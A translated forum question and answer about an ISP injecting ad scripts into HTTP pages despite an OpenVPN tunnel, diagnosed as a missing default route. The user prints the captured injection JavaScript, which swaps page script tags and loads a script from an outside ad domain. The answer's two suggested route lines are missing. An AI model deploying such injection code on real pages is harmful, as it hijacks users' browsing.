我正在使用 Sophos SSL VPN 客户端。但我使用的是 BSNL ISP。每当我连接我的 VPN 并浏览任何 HTTP 非安全网站时,ADS 都会被注入到 JS 脚本文件中。但是当我断开 VPN 并浏览任何不安全的网站时。不会发生脚本注入,也不会显示 ADS
但我的问题是,我的 ISP BSNL 在连接到安全隧道后如何识别出我正在浏览一个不安全的网站。这样所有路由的网络流量都将被加密。但是他们如何使用 Network Proxy Analyzer 来注入脚本呢?
在这里您将找到连接到 VPN 时的日志
OpenVPN 2.3.8 i686-w64-mingw32 [SSL (OpenSSL)] [LZO] [IPv6] built on Jul 3 2017
library versions: OpenSSL 1.0.2l 25 May 2017, LZO 2.09
Data Channel Encrypt: Cipher 'AES-128-CBC' initialized with 128 bit key
Data Channel Encrypt: Using 256 bit message hash 'SHA256' for HMAC authentication
Data Channel Decrypt: Cipher 'AES-128-CBC' initialized with 128 bit key
Data Channel Decrypt: Using 256 bit message hash 'SHA256' for HMAC authentication
Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA, 2048 bit RSA
脚本(JS)
!function() {
var a = "/analytics.js"
, r = null
, e = document.getElementsByTagName("script")
, i = e.length
, n = null
, t = Date.now()
, s = null
, o = 0;
for ("/" === a.substring(0, 1) && (a = a.substring(1)),
o = 0; o < i; o += 1)
if (void 0 !== e[o].src && null !== e[o].src && e[o].src.indexOf(a) > -1) {
n = o,
r = e[o];
break
}
void 0 !== r && null !== r || (r = document.getElementsByTagName("script")[0]),
s = r.src.indexOf("?") > -1 ? r.src + "&cb=" + t.toString() + "&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag" : r.src + "?cb=" + t.toString() + "&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag";
try {
if (void 0 === window.sarazasarazaNoti || null === window.sarazasarazaNoti || window.sarazasarazaNoti === Array && window.sarazasarazaNoti.indexOf(r.src) < 0) {
void 0 !== window.sarazasarazaNoti && null !== window.sarazasarazaNoti || (window.sarazasarazaNoti = new Array),
window.sarazasarazaNoti.push(r.src);
var c = r.parentNode
, d = r;
if (r.async || r.defer || null !== n && n !== e.length - 1) {
var w = document.createElement("script");
w.src = s,
c.replaceChild(w, d)
} else
document.write("<script type='text/javascript' src=" + s + "><\/script>"),
c.removeChild(d)
}
} catch (a) {}
}();
document.addEventListener('DOMContentLoaded', function() {
var esp = document.createElement('span');
var esr = document.createElement('script');
esr.src = 'http://allashail.club/rNUma4ZKIVZiq/7257?ndn=ch2';
esr.type = 'text/javascript';
esp.appendChild(esr);
document.body.appendChild(esp);
}, false);
HTML(脚本注入)
<html>
<head>
<script src="http://www.google-analytics.com/analytics.js?cb=1585885601053&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag"></script>
</head>
</body>
<span>
<script src="http://allashail.club/rNUma4ZKIVZiq/7257?ndn=ch2" type="text/javascript"></script>
</span>
</body>
</html>
OpenVPN 配置
client
dev tun
proto tcp
verify-x509-name "OU=Domain Control Validated, CN=*.domain.com"
route remote_host 255.255.255.255 net_gateway
resolv-retry infinite
nobind
persist-key
persist-tun
<ca>
Bag Attributes: <No Attributes>
subject=/C=BE/O=GlobalSign nv-sa/CN=XXXSSL CA - SHA256 - G2
issuer=/C=BE/O=GlobalSign nv-sa/OU=Root CA/CN=GlobalSign Root CA
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
</ca>
<cert>
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
</cert>
<key>
-----BEGIN RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----
</key>
auth-user-pass pass.txt
cipher AES-128-CBC
auth SHA256
comp-lzo no
route-delay 4
verb 3
reneg-sec 86400
remote xxx.xx.xxx.xx 8443
remote xxx.xx.xxx.xx 8443
remote xxx.xx.xxx.xx 8443
remote xxx.xxx.xxx.xx 8443
remote xxx.xxx.xxx.xx 8443
建立安全连接。我们应该如何使用 OpenVPN 协议配置我的 Sophos SSL VPN 客户端
查看您的路由表(在 VPN 启动后),到更广泛 Internet 的流量仍然通过您的 ISP,而不是通过您的隧道,这就是您的 ISP 可以拦截它的原因。
如果您查看,您的“默认网关”(0.0.0.0 行网络掩码 0.0.0.0 和 192.168.43.1 网关)在第 13 行(在 VPN 之前)和在第 53 行(在 VPN 之后)是相同的。VPN 似乎确实在添加路由 - 但所有这些路由都是非常具体的,并且不是 Internet 可路由的。例如,8.8.8.8 或大多数其他 Internet 地址没有更具体的路由。 看起来您的 VPN 提供商要么没有向您推送默认路由,要么您的一方不接受它,这是您问题的核心。
有很多方法可以解决这个问题。一种是将以下 2 行添加到您的配置文件并重新启动您的 VPN:
这两行将匹配所有 IPV4 空间(0.0.0.0 - 127.255.255.25 和 128.0.0.0 - 255.255.255.255),组合效果相当于添加一个默认网关,该默认网关比现有网关更受欢迎,因为它由更多具体路线。
如果这成功了,当您建立 VPN 连接时,这 2 条新路由将被添加到您的路由表中,并在停止时被删除。
(就目前的情况而言,您没有 IPv6 默认路由,但如果您的系统发生了这样的变化,您需要更新您的 VPN 以使其也适用于 IPV6)